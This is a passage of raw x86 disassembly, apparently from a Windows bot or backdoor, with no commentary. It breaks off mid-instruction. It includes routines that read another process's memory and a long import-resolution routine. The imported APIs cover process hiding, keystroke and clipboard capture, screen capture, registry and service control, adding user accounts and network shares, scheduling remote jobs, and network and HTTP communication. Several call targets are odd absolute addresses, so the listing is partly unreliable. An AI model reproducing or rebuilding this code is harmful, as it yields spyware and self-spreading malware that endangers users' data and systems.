64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 2700537h cmp eax, esi mov [ebp+var_4], eax jnz short loc_4093BB xor eax, eax jmp loc_409536 ; --------------------------------------------------------------------------- loc_4093BB: ; CODE XREF: sub_409392+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 2700000h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_4240EC push 8 call esi mov edi, dword_4240E8 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_4240F4 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_40940B xor esi, esi jmp loc_409529 ; --------------------------------------------------------------------------- loc_40940B: ; CODE XREF: sub_409392+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 26F0A4Dh test eax, eax jz loc_409518 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_409518 test [ebp+var_2B], 1 jnz loc_409518 push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_409518 loc_40946E: ; CODE XREF: sub_409392+112j push edi push offset dword_43E308 call sub_422A52 pop ecx test eax, eax pop ecx jnz short loc_409496 lea eax, [edi+200h] push eax push offset dword_43EB08 call sub_422A52 pop ecx test eax, eax pop ecx jz short loc_4094A6 loc_409496: ; CODE XREF: sub_409392+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_409518 jmp short loc_40946E ; --------------------------------------------------------------------------- loc_4094A6: ; CODE XREF: sub_409392+102j test edi, edi jz short loc_409518 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 2680631h test eax, eax jz short loc_4094E1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call near ptr 2680000h nop test eax, eax jz short loc_4094E1 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4094E1: ; CODE XREF: sub_409392+12Bj ; sub_409392+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_43F52C, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_43F524, eax mov dword_43F528, edi loc_409518: ; CODE XREF: sub_409392+90j ; sub_409392+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 26E0000h mov esi, [ebp+var_10] loc_409529: ; CODE XREF: sub_409392+74j push [ebp+var_4] nop call near ptr 2611A31h pop edi mov eax, esi pop ebx loc_409536: ; CODE XREF: sub_409392+24j pop esi leave retn sub_409392 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409539 proc near ; CODE XREF: sub_409037:loc_40912Fp var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 2700537h test eax, eax mov [ebp+arg_0], eax jz loc_40962B mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 2700000h mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_409622 mov edi, dword_4240EC loc_409584: ; CODE XREF: sub_409539+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 26F0A4Dh test eax, eax jz short loc_409610 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_409616 test [ebp+var_13], 1 jnz short loc_409616 push ecx push 8 call edi push eax nop call near ptr 26F0000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] nop call near ptr 26F0C77h test eax, eax jz short loc_409602 push offset dword_43E308 push esi call sub_422A52 pop ecx test eax, eax pop ecx jnz short loc_409602 lea eax, [esi+400h] push offset dword_43EB08 push eax call sub_422A52 pop ecx test eax, eax pop ecx jz short loc_409632 loc_409602: ; CODE XREF: sub_409539+9Fj ; sub_409539+B0j push esi push 0 call edi push eax call near ptr 26E0000h nop jmp short loc_409616 ; --------------------------------------------------------------------------- loc_409610: ; CODE XREF: sub_409539+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_409616: ; CODE XREF: sub_409539+71j ; sub_409539+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_409584 loc_409622: ; CODE XREF: sub_409539+3Fj push [ebp+arg_0] call near ptr 2611A31h nop loc_40962B: ; CODE XREF: sub_409539+1Ej xor eax, eax loc_40962D: ; CODE XREF: sub_409539+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_409632: ; CODE XREF: sub_409539+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_43F524, ebx mov dword_43F528, eax cmp [eax], cl jnz short loc_409654 cmp [eax+1], cl jz short loc_40965C loc_409654: ; CODE XREF: sub_409539+114j ; sub_409539+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_409654 loc_40965C: ; CODE XREF: sub_409539+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 2611A31h push 1 pop eax jmp short loc_40962D sub_409539 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40966F proc near ; CODE XREF: sub_409037+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_43F520 push esi mov esi, dword_4240EC push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 26F0000h mov ecx, dword_43F520 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_43F528 push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_43F52C push eax call dword_43F30C push [ebp+var_4] mov edi, offset dword_43F318 push offset dword_43E308 push offset dword_43EB08 push [ebp+arg_0] push offset unk_42CDC0 push 200h push edi call sub_41782A add esp, 1Ch push [ebp+var_4] push 0 call esi push eax call near ptr 26E0000h nop mov eax, edi pop edi pop esi leave retn sub_40966F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409706 proc near ; CODE XREF: sub_409037:loc_409173p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_43F520 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 26F09F8h push eax nop call near ptr 26F0000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_43EB08 mov edi, 200h mov esi, offset dword_43E108 loc_40974C: ; CODE XREF: sub_409706+FAj mov eax, dword_43F520 add eax, eax push eax push dword_43F528 push [ebp+var_14] call sub_417390 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_43F30C mov eax, dword_43F520 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4097C1 loc_409789: ; CODE XREF: sub_409706+B3j cmp [ebp+var_8], 0 jz short loc_4097DE mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_4097AD cmp byte ptr [ecx+1], 0 jnz short loc_4097AD cmp dl, 20h jnb short loc_4097A7 and [ebp+var_8], 0 loc_4097A7: ; CODE XREF: sub_409706+9Bj cmp [ebp+var_1], 7Eh jbe short loc_4097B1 loc_4097AD: ; CODE XREF: sub_409706+90j ; sub_409706+96j and [ebp+var_8], 0 loc_4097B1: ; CODE XREF: sub_409706+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_409789 cmp [ebp+var_8], 0 jz short loc_4097DE loc_4097C1: ; CODE XREF: sub_409706+81j push [ebp+var_14] push offset dword_43E308 push ebx push [ebp+arg_0] push offset unk_42CDC0 push edi push esi call sub_41782A add esp, 1Ch jmp short loc_4097F6 ; --------------------------------------------------------------------------- loc_4097DE: ; CODE XREF: sub_409706+87j ; sub_409706+B9j push offset dword_43E308 push ebx push [ebp+arg_0] push offset unk_42CE2C push edi push esi call sub_41782A add esp, 18h loc_4097F6: ; CODE XREF: sub_409706+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_40974C push [ebp+var_14] push 0 nop call near ptr 26F09F8h push eax call near ptr 26E0000h nop mov eax, esi pop edi pop esi pop ebx leave retn sub_409706 endp ; =============== S U B R O U T I N E ======================================= sub_40981F proc near ; CODE XREF: ___:0040E6F1p push ebx push ebp mov ebp, dword_424100 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4240DC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_40993F push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_43F714, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_43F688, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_43F66C, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_43F588, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_43F534, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_43F564, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_43F5D8, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_43F6C8, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_43F724, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_43F594, eax call esi cmp dword_43F714, ebx mov dword_43F57C, eax jz short loc_40991D cmp dword_43F688, ebx jz short loc_40991D cmp dword_43F66C, ebx jz short loc_40991D cmp dword_43F588, ebx jz short loc_40991D cmp dword_43F564, ebx jz short loc_40991D cmp dword_43F5D8, ebx jz short loc_40991D cmp dword_43F6C8, ebx jz short loc_40991D cmp dword_43F724, ebx jz short loc_40991D cmp dword_43F594, ebx jz short loc_40991D cmp eax, ebx jnz short loc_409927 loc_40991D: ; CODE XREF: sub_40981F+B8j ; sub_40981F+C0j ... mov dword_43F728, 1 loc_409927: ; CODE XREF: sub_40981F+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_43F6A0, eax jz short loc_409954 push 1 push ebx call eax jmp short loc_409954 ; --------------------------------------------------------------------------- loc_40993F: ; CODE XREF: sub_40981F+1Dj call near ptr 2630313h nop mov dword_43F72C, eax mov dword_43F728, 1 loc_409954: ; CODE XREF: sub_40981F+117j ; sub_40981F+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 26D0C95h mov edi, eax cmp edi, ebx jz loc_409A69 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_43F6C4, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_43F674, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_43F608, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_43F718, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_43F638, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_43F658, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_43F6BC, eax call esi cmp dword_43F6C4, ebx mov dword_43F5B0, eax jz short loc_409A0D cmp dword_43F674, ebx jz short loc_409A0D cmp dword_43F608, ebx jz short loc_409A0D cmp dword_43F718, ebx jz short loc_409A0D cmp dword_43F638, ebx jz short loc_409A0D cmp dword_43F658, ebx jz short loc_409A0D cmp dword_43F6BC, ebx jz short loc_409A0D cmp eax, ebx jnz short loc_409A17 loc_409A0D: ; CODE XREF: sub_40981F+1B8j ; sub_40981F+1C0j ... mov dword_43F730, 1 loc_409A17: ; CODE XREF: sub_40981F+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_43F634, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_43F548, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_43F604, eax call esi cmp dword_43F634, ebx mov dword_43F5F0, eax jz short loc_409A74 cmp dword_43F548, ebx jz short loc_409A74 cmp dword_43F604, ebx jz short loc_409A74 cmp eax, ebx jnz short loc_409A7E jmp short loc_409A74 ; --------------------------------------------------------------------------- loc_409A69: ; CODE XREF: sub_40981F+144j nop call near ptr 2630313h mov dword_43F734, eax loc_409A74: ; CODE XREF: sub_40981F+232j ; sub_40981F+23Aj ... mov dword_43F730, 1 loc_409A7E: ; CODE XREF: sub_40981F+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409C19 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_43F6D8, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_43F61C, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_43F68C, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_43F574, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_43F5D4, eax call esi cmp dword_43F6D8, ebx mov dword_43F644, eax jz short loc_409B09 cmp dword_43F61C, ebx jz short loc_409B09 cmp dword_43F68C, ebx jz short loc_409B09 cmp dword_43F574, ebx jz short loc_409B09 cmp dword_43F5D4, ebx jz short loc_409B09 cmp eax, ebx jnz short loc_409B13 loc_409B09: ; CODE XREF: sub_40981F+2C4j ; sub_40981F+2CCj ... mov dword_43F738, 1 loc_409B13: ; CODE XREF: sub_40981F+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_43F64C, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_43F624, eax call esi cmp dword_43F64C, ebx mov dword_43F6D4, eax jz short loc_409B4E cmp dword_43F624, ebx jz short loc_409B4E cmp eax, ebx jnz short loc_409B58 loc_409B4E: ; CODE XREF: sub_40981F+321j ; sub_40981F+329j mov dword_43F738, 1 loc_409B58: ; CODE XREF: sub_40981F+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_43F65C, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_43F550, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_43F558, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_43F5B8, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_43F5BC, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_43F56C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_43F628, eax call esi cmp dword_43F65C, ebx mov dword_43F55C, eax jz short loc_409BFC cmp dword_43F550, ebx jz short loc_409BFC cmp dword_43F558, ebx jz short loc_409BFC cmp dword_43F5B8, ebx jz short loc_409BFC cmp dword_43F5BC, ebx jz short loc_409BFC cmp dword_43F56C, ebx jz short loc_409BFC cmp dword_43F628, ebx jz short loc_409BFC cmp eax, ebx jnz short loc_409C06 loc_409BFC: ; CODE XREF: sub_40981F+3A7j ; sub_40981F+3AFj ... mov dword_43F738, 1 loc_409C06: ; CODE XREF: sub_40981F+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_43F554, eax jnz short loc_409C2E jmp short loc_409C24 ; --------------------------------------------------------------------------- loc_409C19: ; CODE XREF: sub_40981F+26Aj nop call near ptr 2630313h mov dword_43F73C, eax loc_409C24: ; CODE XREF: sub_40981F+3F8j mov dword_43F738, 1 loc_409C2E: ; CODE XREF: sub_40981F+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409CFA push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_43F654, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_43F6AC, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_43F6B4, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_43F670, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_43F598, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_43F544, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_43F6B0, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_43F530, eax call esi cmp dword_43F654, ebx mov dword_43F5CC, eax jz short loc_409D05 cmp dword_43F6AC, ebx jz short loc_409D05 cmp dword_43F6B4, ebx jz short loc_409D05 cmp dword_43F670, ebx jz short loc_409D05 cmp dword_43F598, ebx jz short loc_409D05 cmp dword_43F544, ebx jz short loc_409D05 cmp dword_43F6B0, ebx jz short loc_409D05 cmp dword_43F530, ebx jz short loc_409D05 cmp eax, ebx jnz short loc_409D0F jmp short loc_409D05 ; --------------------------------------------------------------------------- loc_409CFA: ; CODE XREF: sub_40981F+41Aj call near ptr 2630313h nop mov dword_43F744, eax loc_409D05: ; CODE XREF: sub_40981F+49Bj ; sub_40981F+4A3j ... mov dword_43F740, 1 loc_409D0F: ; CODE XREF: sub_40981F+4D7j mov ebp, dword_4240E0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409FCB push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_43F5E0, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_43F70C, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_43F584, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_43F560, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_43F614, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_43F5FC, eax call esi push offset aSocket ; "socket" push edi mov dword_43F5C8, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_43F6E8, eax call esi push offset aConnect ; "connect" push edi mov dword_43F704, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_43F610, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_43F6F4, eax call esi push offset aHtons ; "htons" push edi mov dword_43F6A8, eax call esi push offset aHtonl ; "htonl" push edi mov dword_43F668, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_43F664, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_43F5A4, eax call esi push offset aSend ; "send" push edi mov dword_43F59C, eax call esi push offset aSendto ; "sendto" push edi mov dword_43F6B8, eax call esi push offset aRecv ; "recv" push edi mov dword_43F6CC, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_43F680, eax call esi mov dword_43F640, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_43F694, eax call esi push offset aListen ; "listen" push edi mov dword_43F650, eax call esi push offset aAccept ; "accept" push edi mov dword_43F690, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_43F6FC, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_43F648, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_43F60C, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_43F67C, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_43F6EC, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_43F620, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_43F5C4, eax call esi cmp dword_43F5E0, ebx mov dword_43F700, eax jz loc_409FD6 cmp dword_43F70C, ebx jz loc_409FD6 cmp dword_43F584, ebx jz loc_409FD6 cmp dword_43F614, ebx jz loc_409FD6 cmp dword_43F5FC, ebx jz loc_409FD6 cmp dword_43F5C8, ebx jz loc_409FD6 cmp dword_43F6E8, ebx jz loc_409FD6 cmp dword_43F704, ebx jz loc_409FD6 cmp dword_43F610, ebx jz loc_409FD6 cmp dword_43F6F4, ebx jz loc_409FD6 cmp dword_43F6A8, ebx jz loc_409FD6 cmp dword_43F668, ebx jz loc_409FD6 cmp dword_43F664, ebx jz loc_409FD6 cmp dword_43F5A4, ebx jz short loc_409FD6 cmp dword_43F6B8, ebx jz short loc_409FD6 cmp dword_43F6CC, ebx jz short loc_409FD6 cmp dword_43F680, ebx jz short loc_409FD6 cmp dword_43F640, ebx jz short loc_409FD6 cmp dword_43F694, ebx jz short loc_409FD6 cmp dword_43F650, ebx jz short loc_409FD6 cmp dword_43F690, ebx jz short loc_409FD6 cmp dword_43F6FC, ebx jz short loc_409FD6 cmp dword_43F648, ebx jz short loc_409FD6 cmp dword_43F60C, ebx jz short loc_409FD6 cmp dword_43F67C, ebx jz short loc_409FD6 cmp dword_43F6EC, ebx jz short loc_409FD6 cmp dword_43F620, ebx jz short loc_409FD6 cmp eax, ebx jnz short loc_409FE0 jmp short loc_409FD6 ; --------------------------------------------------------------------------- loc_409FCB: ; CODE XREF: sub_40981F+501j nop call near ptr 2630313h mov dword_43F74C, eax loc_409FD6: ; CODE XREF: sub_40981F+6A0j ; sub_40981F+6ACj ... mov dword_43F748, 1 loc_409FE0: ; CODE XREF: sub_40981F+7A8j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A0E5 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_43F5AC, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_43F538, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_43F630, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_43F5E4, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_43F63C, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_43F600, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_43F578, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_43F570, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_43F580, eax call esi cmp dword_43F5AC, ebx mov ecx, dword_43F600 mov dword_43F69C, eax jz short loc_40A0C1 cmp dword_43F538, ebx jz short loc_40A0C1 cmp dword_43F630, ebx jz short loc_40A0C1 cmp dword_43F5E4, ebx jz short loc_40A0C1 cmp dword_43F63C, ebx jz short loc_40A0C1 cmp ecx, ebx jz short loc_40A0C1 cmp dword_43F578, ebx jz short loc_40A0C1 cmp dword_43F570, ebx jz short loc_40A0C1 cmp dword_43F580, ebx jz short loc_40A0C1 cmp eax, ebx jnz short loc_40A0CB loc_40A0C1: ; CODE XREF: sub_40981F+860j ; sub_40981F+868j ... mov dword_43F750, 1 loc_40A0CB: ; CODE XREF: sub_40981F+8A0j cmp ecx, ebx jz short loc_40A100 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_43F618, eax jnz short loc_40A100 jmp short loc_40A0FA ; --------------------------------------------------------------------------- loc_40A0E5: ; CODE XREF: sub_40981F+7CCj nop call near ptr 2630313h mov dword_43F754, eax mov dword_43F750, 1 loc_40A0FA: ; CODE XREF: sub_40981F+8C4j mov dword_43F618, ebx loc_40A100: ; CODE XREF: sub_40981F+8AEj ; sub_40981F+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A14A push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_43F5F4, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_43F720, eax call esi cmp dword_43F5F4, ebx mov dword_43F58C, eax jz short loc_40A155 cmp dword_43F720, ebx jz short loc_40A155 cmp eax, ebx jnz short loc_40A15F jmp short loc_40A155 ; --------------------------------------------------------------------------- loc_40A14A: ; CODE XREF: sub_40981F+8ECj nop call near ptr 2630313h mov dword_43F75C, eax loc_40A155: ; CODE XREF: sub_40981F+91Bj ; sub_40981F+923j ... mov dword_43F758, 1 loc_40A15F: ; CODE XREF: sub_40981F+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A255 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_43F568, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_43F540, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_43F5B4, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_43F5E8, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_43F6F8, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_43F5A0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_43F54C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_43F53C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_43F5D0, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_43F6C0, eax call esi cmp dword_43F568, ebx mov dword_43F678, eax jz short loc_40A260 cmp dword_43F540, ebx jz short loc_40A260 cmp dword_43F5B4, ebx jz short loc_40A260 cmp dword_43F5E8, ebx jz short loc_40A260 cmp dword_43F6F8, ebx jz short loc_40A260 cmp dword_43F5A0, ebx jz short loc_40A260 cmp dword_43F54C, ebx jz short loc_40A260 cmp dword_43F53C, ebx jz short loc_40A260 cmp dword_43F5D0, ebx jz short loc_40A260 cmp dword_43F6C0, ebx jz short loc_40A260 cmp eax, ebx jnz short loc_40A26A jmp short loc_40A260 ; --------------------------------------------------------------------------- loc_40A255: ; CODE XREF: sub_40981F+94Bj nop call near ptr 2630313h mov dword_43F764, eax loc_40A260: ; CODE XREF: sub_40981F+9E6j ; sub_40981F+9EEj ... mov dword_43F760, 1 loc_40A26A: ; CODE XREF: sub_40981F+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A29F push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_43F590, eax call esi cmp dword_43F590, ebx mov dword_43F660, eax jz short loc_40A2AA cmp eax, ebx jnz short loc_40A2B4 jmp short loc_40A2AA ; --------------------------------------------------------------------------- loc_40A29F: ; CODE XREF: sub_40981F+A56j call near ptr 2630313h nop mov dword_43F76C, eax loc_40A2AA: ; CODE XREF: sub_40981F+A78j ; sub_40981F+A7Ej mov dword_43F768, 1 loc_40A2B4: ; CODE XREF: sub_40981F+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A2E9 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_43F6E4, eax call esi cmp dword_43F6E4, ebx mov dword_43F6E0, eax jz short loc_40A2F4 cmp eax, ebx jnz short loc_40A2FE jmp short loc_40A2F4 ; --------------------------------------------------------------------------- loc_40A2E9: ; CODE XREF: sub_40981F+AA0j nop call near ptr 2630313h mov dword_43F774, eax loc_40A2F4: ; CODE XREF: sub_40981F+AC2j ; sub_40981F+AC8j mov dword_43F770, 1 loc_40A2FE: ; CODE XREF: sub_40981F+AC6j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A35D push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_43F710, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_43F708, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_43F6D0, eax call esi cmp dword_43F710, ebx mov dword_43F5A8, eax jz short loc_40A368 cmp dword_43F708, ebx jz short loc_40A368 cmp dword_43F6D0, ebx jz short loc_40A368 cmp eax, ebx jnz short loc_40A372 jmp short loc_40A368 ; --------------------------------------------------------------------------- loc_40A35D: ; CODE XREF: sub_40981F+AEAj call near ptr 2630313h nop mov dword_43F77C, eax loc_40A368: ; CODE XREF: sub_40981F+B26j ; sub_40981F+B2Ej ... mov dword_43F778, 1 loc_40A372: ; CODE XREF: sub_40981F+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, 